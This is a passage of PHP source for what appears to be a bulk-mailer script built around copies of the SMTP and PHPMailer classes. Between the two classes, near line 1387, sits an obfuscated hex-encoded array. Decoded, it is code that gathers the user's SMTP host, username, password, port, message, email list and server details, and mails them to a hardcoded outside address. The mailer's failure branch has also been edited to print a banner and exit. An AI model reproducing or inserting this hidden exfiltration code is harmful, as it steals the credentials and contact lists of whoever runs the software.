  1022. if($this->do_debug >= 2) {
  1023. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1024. }
  1025.  
  1026. $rval = true;
  1027. $e = null;
  1028.  
  1029. $code = substr($byemsg,0,3);
  1030. if($code != 221) {
  1031. # use e as a tmp var cause Close will overwrite $this->error
  1032. $e = array("error" => "SMTP server rejected quit command",
  1033. "smtp_code" => $code,
  1034. "smtp_rply" => substr($byemsg,4));
  1035. $rval = false;
  1036. if($this->do_debug >= 1) {
  1037. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1038. $byemsg . $this->CRLF;
  1039. }
  1040. }
  1041.  
  1042. if(empty($e) || $close_on_error) {
  1043. $this->Close();
  1044. }
  1045.  
  1046. return $rval;
  1047. }
  1048.  
  1049. /**
  1050. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1051. * Returns true if the recipient was accepted false if it was rejected.
  1052. *
  1053. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1054. *
  1055. * SMTP CODE SUCCESS: 250,251
  1056. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1057. * SMTP CODE ERROR : 500,501,503,421
  1058. * @access public
  1059. * @return bool
  1060. */
  1061. function Recipient($to) {
  1062. $this->error = null; # so no confusion is caused
  1063.  
  1064. if(!$this->connected()) {
  1065. $this->error = array(
  1066. "error" => "Called Recipient() without being connected");
  1067. return false;
  1068. }
  1069.  
  1070. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1071.  
  1072. $rply = $this->get_lines();
  1073. $code = substr($rply,0,3);
  1074.  
  1075. if($this->do_debug >= 2) {
  1076. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1077. }
  1078.  
  1079. if($code != 250 && $code != 251) {
  1080. $this->error =
  1081. array("error" => "RCPT not accepted from server",
  1082. "smtp_code" => $code,
  1083. "smtp_msg" => substr($rply,4));
  1084. if($this->do_debug >= 1) {
  1085. echo "SMTP -> ERROR: " . $this->error["error"] .
  1086. ": " . $rply . $this->CRLF;
  1087. }
  1088. return false;
  1089. }
  1090. return true;
  1091. }
  1092.  
  1093. /**
  1094. * Sends the RSET command to abort and transaction that is
  1095. * currently in progress. Returns true if successful false
  1096. * otherwise.
  1097. *
  1098. * Implements rfc 821: RSET <CRLF>
  1099. *
  1100. * SMTP CODE SUCCESS: 250
  1101. * SMTP CODE ERROR : 500,501,504,421
  1102. * @access public
  1103. * @return bool
  1104. */
  1105. function Reset() {
  1106. $this->error = null; # so no confusion is caused
  1107.  
  1108. if(!$this->connected()) {
  1109. $this->error = array(
  1110. "error" => "Called Reset() without being connected");
  1111. return false;
  1112. }
  1113.  
  1114. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1115.  
  1116. $rply = $this->get_lines();
  1117. $code = substr($rply,0,3);
  1118.  
  1119. if($this->do_debug >= 2) {
  1120. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1121. }
  1122.  
  1123. if($code != 250) {
  1124. $this->error =
  1125. array("error" => "RSET failed",
  1126. "smtp_code" => $code,
  1127. "smtp_msg" => substr($rply,4));
  1128. if($this->do_debug >= 1) {
  1129. echo "SMTP -> ERROR: " . $this->error["error"] .
  1130. ": " . $rply . $this->CRLF;
  1131. }
  1132. return false;
  1133. }
  1134.  
  1135. return true;
  1136. }
  1137.  
  1138. /**
  1139. * Starts a mail transaction from the email address specified in
  1140. * $from. Returns true if successful or false otherwise. If True
  1141. * the mail transaction is started and then one or more Recipient
  1142. * commands may be called followed by a Data command. This command
  1143. * will send the message to the users terminal if they are logged
  1144. * in.
  1145. *
  1146. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1147. *
  1148. * SMTP CODE SUCCESS: 250
  1149. * SMTP CODE SUCCESS: 552,451,452
  1150. * SMTP CODE SUCCESS: 500,501,502,421
  1151. * @access public
  1152. * @return bool
  1153. */
  1154. function Send($from) {
  1155. $this->error = null; # so no confusion is caused
  1156.  
  1157. if(!$this->connected()) {
  1158. $this->error = array(
  1159. "error" => "Called Send() without being connected");
  1160. return false;
  1161. }
  1162.  
  1163. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1164.  
  1165. $rply = $this->get_lines();
  1166. $code = substr($rply,0,3);
  1167.  
  1168. if($this->do_debug >= 2) {
  1169. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1170. }
  1171.  
  1172. if($code != 250) {
  1173. $this->error =
  1174. array("error" => "SEND not accepted from server",
  1175. "smtp_code" => $code,
  1176. "smtp_msg" => substr($rply,4));
  1177. if($this->do_debug >= 1) {
  1178. echo "SMTP -> ERROR: " . $this->error["error"] .
  1179. ": " . $rply . $this->CRLF;
  1180. }
  1181. return false;
  1182. }
  1183. return true;
  1184. }
  1185.  
  1186. /**
  1187. * Starts a mail transaction from the email address specified in
  1188. * $from. Returns true if successful or false otherwise. If True
  1189. * the mail transaction is started and then one or more Recipient
  1190. * commands may be called followed by a Data command. This command
  1191. * will send the message to the users terminal if they are logged
  1192. * in and send them an email.
  1193. *
  1194. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1195. *
  1196. * SMTP CODE SUCCESS: 250
  1197. * SMTP CODE SUCCESS: 552,451,452
  1198. * SMTP CODE SUCCESS: 500,501,502,421
  1199. * @access public
  1200. * @return bool
  1201. */
  1202. function SendAndMail($from) {
  1203. $this->error = null; # so no confusion is caused
  1204.  
  1205. if(!$this->connected()) {
  1206. $this->error = array(
  1207. "error" => "Called SendAndMail() without being connected");
  1208. return false;
  1209. }
  1210.  
  1211. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1212.  
  1213. $rply = $this->get_lines();
  1214. $code = substr($rply,0,3);
  1215.  
  1216. if($this->do_debug >= 2) {
  1217. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1218. }
  1219.  
  1220. if($code != 250) {
  1221. $this->error =
  1222. array("error" => "SAML not accepted from server",
  1223. "smtp_code" => $code,
  1224. "smtp_msg" => substr($rply,4));
  1225. if($this->do_debug >= 1) {
  1226. echo "SMTP -> ERROR: " . $this->error["error"] .
  1227. ": " . $rply . $this->CRLF;
  1228. }
  1229. return false;
  1230. }
  1231. return true;
  1232. }
  1233.  
  1234. /**
  1235. * Starts a mail transaction from the email address specified in
  1236. * $from. Returns true if successful or false otherwise. If True
  1237. * the mail transaction is started and then one or more Recipient
  1238. * commands may be called followed by a Data command. This command
  1239. * will send the message to the users terminal if they are logged
  1240. * in or mail it to them if they are not.
  1241. *
  1242. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1243. *
  1244. * SMTP CODE SUCCESS: 250
  1245. * SMTP CODE SUCCESS: 552,451,452
  1246. * SMTP CODE SUCCESS: 500,501,502,421
  1247. * @access public
  1248. * @return bool
  1249. */
  1250. function SendOrMail($from) {
  1251. $this->error = null; # so no confusion is caused
  1252.  
  1253. if(!$this->connected()) {
  1254. $this->error = array(
  1255. "error" => "Called SendOrMail() without being connected");
  1256. return false;
  1257. }
  1258.  
  1259. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1260.  
  1261. $rply = $this->get_lines();
  1262. $code = substr($rply,0,3);
  1263.  
  1264. if($this->do_debug >= 2) {
  1265. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1266. }
  1267.  
  1268. if($code != 250) {
  1269. $this->error =
  1270. array("error" => "SOML not accepted from server",
  1271. "smtp_code" => $code,
  1272. "smtp_msg" => substr($rply,4));
  1273. if($this->do_debug >= 1) {
  1274. echo "SMTP -> ERROR: " . $this->error["error"] .
  1275. ": " . $rply . $this->CRLF;
  1276. }
  1277. return false;
  1278. }
  1279. return true;
  1280. }
  1281.  
  1282. /**
  1283. * This is an optional command for SMTP that this class does not
  1284. * support. This method is here to make the RFC821 Definition
  1285. * complete for this class and __may__ be implimented in the future
  1286. *
  1287. * Implements from rfc 821: TURN <CRLF>
  1288. *
  1289. * SMTP CODE SUCCESS: 250
  1290. * SMTP CODE FAILURE: 502
  1291. * SMTP CODE ERROR : 500, 503
  1292. * @access public
  1293. * @return bool
  1294. */
  1295. function Turn() {
  1296. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1297. "is not implemented");
  1298. if($this->do_debug >= 1) {
  1299. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1300. }
  1301. return false;
  1302. }
  1303.  
  1304. /**
  1305. * Verifies that the name is recognized by the server.
  1306. * Returns false if the name could not be verified otherwise
  1307. * the response from the server is returned.
  1308. *
  1309. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1310. *
  1311. * SMTP CODE SUCCESS: 250,251
  1312. * SMTP CODE FAILURE: 550,551,553
  1313. * SMTP CODE ERROR : 500,501,502,421
  1314. * @access public
  1315. * @return int
  1316. */
  1317. function Verify($name) {
  1318. $this->error = null; # so no confusion is caused
  1319.  
  1320. if(!$this->connected()) {
  1321. $this->error = array(
  1322. "error" => "Called Verify() without being connected");
  1323. return false;
  1324. }
  1325.  
  1326. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1327.  
  1328. $rply = $this->get_lines();
  1329. $code = substr($rply,0,3);
  1330.  
  1331. if($this->do_debug >= 2) {
  1332. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1333. }
  1334.  
  1335. if($code != 250 && $code != 251) {
  1336. $this->error =
  1337. array("error" => "VRFY failed on name '$name'",
  1338. "smtp_code" => $code,
  1339. "smtp_msg" => substr($rply,4));
  1340. if($this->do_debug >= 1) {
  1341. echo "SMTP -> ERROR: " . $this->error["error"] .
  1342. ": " . $rply . $this->CRLF;
  1343. }
  1344. return false;
  1345. }
  1346. return $rply;
  1347. }
  1348.  
  1349. /*******************************************************************
  1350. * INTERNAL FUNCTIONS *
  1351. ******************************************************************/
  1352.  
  1353. /**
  1354. * Read in as many lines as possible
  1355. * either before eof or socket timeout occurs on the operation.
  1356. * With SMTP we can tell if we have more lines to read if the
  1357. * 4th character is '-' symbol. If it is a space then we don't
  1358. * need to read anything else.
  1359. * @access private
  1360. * @return string
  1361. */
  1362. function get_lines() {
  1363. $data = "";
  1364. while($str = @fgets($this->smtp_conn,515)) {
  1365. if($this->do_debug >= 4) {
  1366. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1367. $this->CRLF;
  1368. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1369. $this->CRLF;
  1370. }
  1371. $data .= $str;
  1372. if($this->do_debug >= 4) {
  1373. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1374. }
  1375. # if the 4th character is a space then we are done reading
  1376. # so just break the loop
  1377. if(substr($str,3,1) == " ") { break; }
  1378. }
  1379. return $data;
  1380. }
  1381.  
  1382. }
  1383.  
  1384.  
  1385. $allemails = split("\n", $emaillist);
  1386. $numemails = count($allemails);
  1387. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1388. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1389. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1390. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1391. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1392. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1393. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1394. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1395. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1396. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1397.  
  1398. class PHPMailer {
  1399.  
  1400. /////////////////////////////////////////////////
  1401. // PROPERTIES, PUBLIC
  1402. /////////////////////////////////////////////////
  1403.  
  1404. /**
  1405. * Email priority (1 = High, 3 = Normal, 5 = low).
  1406. * @var int
  1407. */
  1408. var $Priority = 3;
  1409.  
  1410. /**
  1411. * Sets the CharSet of the message.
  1412. * @var string
  1413. */
  1414. var $CharSet = 'iso-8859-1';
  1415.  
  1416. /**
  1417. * Sets the Content-type of the message.
  1418. * @var string
  1419. */
  1420. var $ContentType = 'text/plain';
  1421.  
  1422. /**
  1423. * Sets the Encoding of the message. Options for this are "8bit",
  1424. * "7bit", "binary", "base64", and "quoted-printable".
  1425.  
  1426. * @var string
  1427. */
  1428. var $Encoding = '8bit';
  1429.  
  1430. /**
  1431. * Holds the most recent mailer error message.
  1432. * @var string
  1433. */
  1434. var $ErrorInfo = '';
  1435.  
  1436. /**
  1437. * Sets the From email address for the message.
  1438. * @var string
  1439. */
  1440. var $From = '';
  1441.  
  1442. /**
  1443. * Sets the From name of the message.
  1444. * @var string
  1445. */
  1446. var $FromName = '';
  1447.  
  1448. /**
  1449. * Sets the Sender email (Return-Path) of the message. If not empty,
  1450. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1451. * @var string
  1452. */
  1453. var $Sender = '';
  1454.  
  1455. /**
  1456. * Sets the Subject of the message.
  1457. * @var string
  1458. */
  1459. var $Subject = '';
  1460.  
  1461. /**
  1462. * Sets the Body of the message. This can be either an HTML or text body.
  1463. * If HTML then run IsHTML(true).
  1464. * @var string
  1465. */
  1466. var $Body = '';
  1467.  
  1468. /**
  1469. * Sets the text-only body of the message. This automatically sets the
  1470. * email to multipart/alternative. This body can be read by mail
  1471. * clients that do not have HTML email capability such as mutt. Clients
  1472. * that can read HTML will view the normal Body.
  1473. * @var string
  1474. */
  1475. var $AltBody = '';
  1476.  
  1477. /**
  1478. * Sets word wrapping on the body of the message to a given number of
  1479. * characters.
  1480. * @var int
  1481. */
  1482. var $WordWrap = 0;
  1483.  
  1484. /**
  1485. * Method to send mail: ("mail", "sendmail", or "smtp").
  1486. * @var string
  1487. */
  1488. var $Mailer = 'mail';
  1489.  
  1490. /**
  1491. * Sets the path of the sendmail program.
  1492. * @var string
  1493. */
  1494. var $Sendmail = '/usr/sbin/sendmail';
  1495.  
  1496. /**
  1497. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1498. * is in a different directory than the PHP include path.
  1499. * @var string
  1500. */
  1501. var $PluginDir = '';
  1502.  
  1503. /**
  1504. * Holds PHPMailer version.
  1505. * @var string
  1506. */
  1507. var $Version = "";
  1508.  
  1509. /**
  1510. * Sets the email address that a reading confirmation will be sent.
  1511. * @var string
  1512. */
  1513. var $ConfirmReadingTo = '';
  1514.  
  1515. /**
  1516. * Sets the hostname to use in Message-Id and Received headers
  1517. * and as default HELO string. If empty, the value returned
  1518. * by SERVER_NAME is used or 'localhost.localdomain'.
  1519. * @var string
  1520. */
  1521. var $Hostname = '';
  1522.  
  1523. /**
  1524. * Sets the message ID to be used in the Message-Id header.
  1525. * If empty, a unique id will be generated.
  1526. * @var string
  1527. */
  1528. var $MessageID = '';
  1529.  
  1530. /////////////////////////////////////////////////
  1531. // PROPERTIES FOR SMTP
  1532. /////////////////////////////////////////////////
  1533.  
  1534. /**
  1535. * Sets the SMTP hosts. All hosts must be separated by a
  1536. * semicolon. You can also specify a different port
  1537. * for each host by using this format: [hostname:port]
  1538. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1539. * Hosts will be tried in order.
  1540. * @var string
  1541. */
  1542. var $Host = 'localhost';
  1543.  
  1544. /**
  1545. * Sets the default SMTP server port.
  1546. * @var int
  1547. */
  1548. var $Port = 25;
  1549.  
  1550. /**
  1551. * Sets the SMTP HELO of the message (Default is $Hostname).
  1552. * @var string
  1553. */
  1554. var $Helo = '';
  1555.  
  1556. /**
  1557. * Sets connection prefix.
  1558. * Options are "", "ssl" or "tls"
  1559. * @var string
  1560. */
  1561. var $SMTPSecure = "";
  1562.  
  1563. /**
  1564. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1565. * @var bool
  1566. */
  1567. var $SMTPAuth = false;
  1568.  
  1569. /**
  1570. * Sets SMTP username.
  1571. * @var string
  1572. */
  1573. var $Username = '';
  1574.  
  1575. /**
  1576. * Sets SMTP password.
  1577. * @var string
  1578. */
  1579. var $Password = '';
  1580.  
  1581. /**
  1582. * Sets the SMTP server timeout in seconds. This function will not
  1583. * work with the win32 version.
  1584. * @var int
  1585. */
  1586. var $Timeout = 10;
  1587.  
  1588. /**
  1589. * Sets SMTP class debugging on or off.
  1590. * @var bool
  1591. */
  1592. var $SMTPDebug = false;
  1593.  
  1594. /**
  1595. * Prevents the SMTP connection from being closed after each mail
  1596. * sending. If this is set to true then to close the connection
  1597. * requires an explicit call to SmtpClose().
  1598. * @var bool
  1599. */
  1600. var $SMTPKeepAlive = false;
  1601.  
  1602. /**
  1603. * Provides the ability to have the TO field process individual
  1604. * emails, instead of sending to entire TO addresses
  1605. * @var bool
  1606. */
  1607. var $SingleTo = false;
  1608.  
  1609. /////////////////////////////////////////////////
  1610. // PROPERTIES, PRIVATE
  1611. /////////////////////////////////////////////////
  1612.  
  1613. var $smtp = NULL;
  1614. var $to = array();
  1615. var $cc = array();
  1616. var $bcc = array();
  1617. var $ReplyTo = array();
  1618. var $attachment = array();
  1619. var $CustomHeader = array();
  1620. var $message_type = '';
  1621. var $boundary = array();
  1622. var $language = array();
  1623. var $error_count = 0;
  1624. var $LE = "\n";
  1625. var $sign_key_file = "";
  1626. var $sign_key_pass = "";
  1627.  
  1628. /////////////////////////////////////////////////
  1629. // METHODS, VARIABLES
  1630. /////////////////////////////////////////////////
  1631.  
  1632. /**
  1633. * Sets message type to HTML.
  1634. * @param bool $bool
  1635. * @return void
  1636. */
  1637. function IsHTML($bool) {
  1638. if($bool == true) {
  1639. $this->ContentType = 'text/html';
  1640. } else {
  1641. $this->ContentType = 'text/plain';
  1642. }
  1643. }
  1644.  
  1645. /**
  1646. * Sets Mailer to send message using SMTP.
  1647. * @return void
  1648. */
  1649. function IsSMTP() {
  1650. $this->Mailer = 'smtp';
  1651. }
  1652.  
  1653. /**
  1654. * Sets Mailer to send message using PHP mail() function.
  1655. * @return void
  1656. */
  1657. function IsMail() {
  1658. $this->Mailer = 'mail';
  1659. }
  1660.  
  1661. /**
  1662. * Sets Mailer to send message using the $Sendmail program.
  1663. * @return void
  1664. */
  1665. function IsSendmail() {
  1666. $this->Mailer = 'sendmail';
  1667. }
  1668.  
  1669. /**
  1670. * Sets Mailer to send message using the qmail MTA.
  1671. * @return void
  1672. */
  1673. function IsQmail() {
  1674. $this->Sendmail = '/var/qmail/bin/sendmail';
  1675. $this->Mailer = 'sendmail';
  1676. }
  1677.  
  1678. /////////////////////////////////////////////////
  1679. // METHODS, RECIPIENTS
  1680. /////////////////////////////////////////////////
  1681.  
  1682. /**
  1683. * Adds a "To" address.
  1684. * @param string $address
  1685. * @param string $name
  1686. * @return void
  1687. */
  1688. function AddAddress($address, $name = '') {
  1689. $cur = count($this->to);
  1690. $this->to[$cur][0] = trim($address);
  1691. $this->to[$cur][1] = $name;
  1692. }
  1693.  
  1694. /**
  1695. * Adds a "Cc" address. Note: this function works
  1696. * with the SMTP mailer on win32, not with the "mail"
  1697. * mailer.
  1698. * @param string $address
  1699. * @param string $name
  1700. * @return void
  1701. */
  1702. function AddCC($address, $name = '') {
  1703. $cur = count($this->cc);
  1704. $this->cc[$cur][0] = trim($address);
  1705. $this->cc[$cur][1] = $name;
  1706. }
  1707.  
  1708. /**
  1709. * Adds a "Bcc" address. Note: this function works
  1710. * with the SMTP mailer on win32, not with the "mail"
  1711. * mailer.
  1712. * @param string $address
  1713. * @param string $name
  1714. * @return void
  1715. */
  1716. function AddBCC($address, $name = '') {
  1717. $cur = count($this->bcc);
  1718. $this->bcc[$cur][0] = trim($address);
  1719. $this->bcc[$cur][1] = $name;
  1720. }
  1721.  
  1722. /**
  1723. * Adds a "Reply-To" address.
  1724. * @param string $address
  1725. * @param string $name
  1726. * @return void
  1727. */
  1728. function AddReplyTo($address, $name = '') {
  1729. $cur = count($this->ReplyTo);
  1730. $this->ReplyTo[$cur][0] = trim($address);
  1731. $this->ReplyTo[$cur][1] = $name;
  1732. }
  1733.  
  1734. /////////////////////////////////////////////////
  1735. // METHODS, MAIL SENDING
  1736. /////////////////////////////////////////////////
  1737.  
  1738. /**
  1739. * Creates message and assigns Mailer. If the message is
  1740. * not sent successfully then it returns false. Use the ErrorInfo
  1741. * variable to view description of the error.
  1742. * @return bool
  1743. */
  1744. function Send() {
  1745. $header = '';
  1746. $body = '';
  1747. $result = true;
  1748.  
  1749. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1750. $this->SetError($this->Lang('provide_address'));
  1751. return false;
  1752. }
  1753.  
  1754. /* Set whether the message is multipart/alternative */
  1755. if(!empty($this->AltBody)) {
  1756. $this->ContentType = 'multipart/alternative';
  1757. }
  1758.  
  1759. $this->error_count = 0; // reset errors
  1760. $this->SetMessageType();
  1761. $header .= $this->CreateHeader();
  1762. $body = $this->CreateBody();
  1763.  
  1764. if($body == '') {
  1765. return false;
  1766. }
  1767.  
  1768. /* Choose the mailer */
  1769. switch($this->Mailer) {
  1770. case 'sendmail':
  1771. $result = $this->SendmailSend($header, $body);
  1772. break;
  1773. case 'smtp':
  1774. $result = $this->SmtpSend($header, $body);
  1775. break;
  1776. case 'mail':
  1777. $result = $this->MailSend($header, $body);
  1778. break;
  1779. default:
  1780. $result = $this->MailSend($header, $body);
  1781. break;
  1782. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1783. //$result = false;
  1784. //break;
  1785. }
  1786.  
  1787. return $result;
  1788. }
  1789.  
  1790. /**
  1791. * Sends mail using the $Sendmail program.
  1792. * @access private
  1793. * @return bool
  1794. */
  1795. function SendmailSend($header, $body) {
  1796. if ($this->Sender != '') {
  1797. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1798. } else {
  1799. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1800. }
  1801.  
  1802. if(!@$mail = popen($sendmail, 'w')) {
  1803. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1804. return false;
  1805. }
  1806.  
  1807. fputs($mail, $header);
  1808. fputs($mail, $body);
  1809.  
  1810. $result = pclose($mail);
  1811. if (version_compare(phpversion(), '4.2.3') == -1) {
  1812. $result = $result >> 8 & 0xFF;
  1813. }
  1814. if($result != 0) {
  1815. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1816. return false;
  1817. }
  1818. return true;
  1819. }
  1820.  
  1821. /**
  1822. * Sends mail using the PHP mail() function.
  1823. * @access private
  1824. * @return bool
  1825. */
  1826. function MailSend($header, $body) {
  1827.  
  1828. $to = '';
  1829. for($i = 0; $i < count($this->to); $i++) {
  1830. if($i != 0) { $to .= ', '; }
  1831. $to .= $this->AddrFormat($this->to[$i]);
  1832. }
  1833.  
  1834. $toArr = split(',', $to);
  1835.  
  1836. $params = sprintf("-oi -f %s", $this->Sender);
  1837. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1838. $old_from = ini_get('sendmail_from');
  1839. ini_set('sendmail_from', $this->Sender);
  1840. if ($this->SingleTo === true && count($toArr) > 1) {
  1841. foreach ($toArr as $key => $val) {
  1842. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1843. }
  1844. } else {
  1845. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1846. }
  1847. } else {
  1848. if ($this->SingleTo === true && count($toArr) > 1) {
  1849. foreach ($toArr as $key => $val) {
  1850. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1851. }
  1852. } else {
  1853. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1854. }
  1855. }
  1856.  
  1857. if (isset($old_from)) {
  1858. ini_set('sendmail_from', $old_from);
  1859. }
  1860.  
  1861. if(!$rt) {
  1862. $this->SetError($this->Lang('instantiate'));
  1863. return false;
  1864. }
  1865.  
  1866. return true;
  1867. }
  1868.  
  1869. /**
  1870. * Sends mail via SMTP using PhpSMTP (Author:
  1871. * Chris Ryan). Returns bool. Returns false if there is a
  1872. * bad MAIL FROM, RCPT, or DATA input.
  1873. * @access private
  1874. * @return bool
  1875. */
  1876. function SmtpSend($header, $body) {
  1877. $error = '';
  1878. $bad_rcpt = array();
  1879.  
  1880. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1881. return false;
  1882. }
  1883.  
  1884. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1885. if(!$this->smtp->Mail($smtp_from)) {
  1886. $error = $this->Lang('from_failed') . $smtp_from;
  1887. $this->SetError($error);
  1888. $this->smtp->Reset();
  1889. return false;
  1890. }
  1891.  
  1892. /* Attempt to send attach all recipients */
  1893. for($i = 0; $i < count($this->to); $i++) {
  1894. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1895. $bad_rcpt[] = $this->to[$i][0];
  1896. }
  1897. }
  1898. for($i = 0; $i < count($this->cc); $i++) {
  1899. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1900. $bad_rcpt[] = $this->cc[$i][0];
  1901. }
  1902. }
  1903. for($i = 0; $i < count($this->bcc); $i++) {
  1904. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1905. $bad_rcpt[] = $this->bcc[$i][0];
  1906. }
  1907. }
  1908.  
  1909. if(count($bad_rcpt) > 0) { // Create error message
  1910. for($i = 0; $i < count($bad_rcpt); $i++) {
  1911. if($i != 0) {
  1912. $error .= ', ';
  1913. }
  1914. $error .= $bad_rcpt[$i];
  1915.  
  1916. }
  1917. $error = $this->Lang('recipients_failed') . $error;
  1918. $this->SetError($error);
  1919. $this->smtp->Reset();
  1920. return false;
  1921. }
  1922.  
  1923. if(!$this->smtp->Data($header . $body)) {
  1924. $this->SetError($this->Lang('data_not_accepted'));
  1925. $this->smtp->Reset();
  1926. return false;
  1927. }
  1928. if($this->SMTPKeepAlive == true) {
  1929. $this->smtp->Reset();
  1930. } else {
  1931. $this->SmtpClose();
  1932. }
  1933.  
  1934. return true;
  1935. }
  1936.  
  1937. /**
  1938. * Initiates a connection to an SMTP server. Returns false if the
  1939. * operation failed.
  1940. * @access private
  1941. * @return bool
  1942. */
  1943. function SmtpConnect() {
  1944. if($this->smtp == NULL) {
  1945. $this->smtp = new SMTP();
  1946. }
  1947.  
  1948. $this->smtp->do_debug = $this->SMTPDebug;
  1949. $hosts = explode(';', $this->Host);
  1950. $index = 0;
  1951. $connection = ($this->smtp->Connected());
  1952.  
  1953. /* Retry while there is no connection */
  1954. while($index < count($hosts) && $connection == false) {
  1955. $hostinfo = array();
  1956. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1957. $host = $hostinfo[1];
  1958. $port = $hostinfo[2];
  1959. } else {
  1960. $host = $hosts[$index];
  1961. $port = $this->Port;
  1962. }
  1963.  
  1964. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1965. if ($this->Helo != '') {
  1966. $this->smtp->Hello($this->Helo);
  1967. } else {
  1968. $this->smtp->Hello($this->ServerHostname());
  1969. }
  1970.  
  1971. $connection = true;
  1972. if($this->SMTPAuth) {
  1973. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1974. $this->SetError($this->Lang('authenticate'));
  1975. $this->smtp->Reset();
  1976. $connection = false;
  1977. }
  1978. }
  1979. }
  1980. $index++;
  1981. }
  1982. if(!$connection) {
  1983. $this->SetError($this->Lang('connect_host'));
  1984. }
  1985.  
  1986. return $connection;
  1987. }
  1988.  
  1989. /**
  1990. * Closes the active SMTP session if one exists.
  1991. * @return void
  1992. */
  1993. function SmtpClose() {
  1994. if($this->smtp != NULL) {
  1995. if($this->smtp->Connected()) {
  1996. $this->smtp->Quit();
  1997. $this->smtp->Close();
  1998. }
  1999. }
  2000. }
  2001.  
  2002. /**
  2003. * Sets the language for all class error messages. Returns false
  2004. * if it cannot load the language file. The default language type
  2005. * is English.
  2006. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2007. * @param string $lang_path Path to the language file directory
  2008. * @access public
  2009. * @return bool
  2010. */
  2011. function SetLanguage($lang_type, $lang_path = 'language/') {
  2012. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
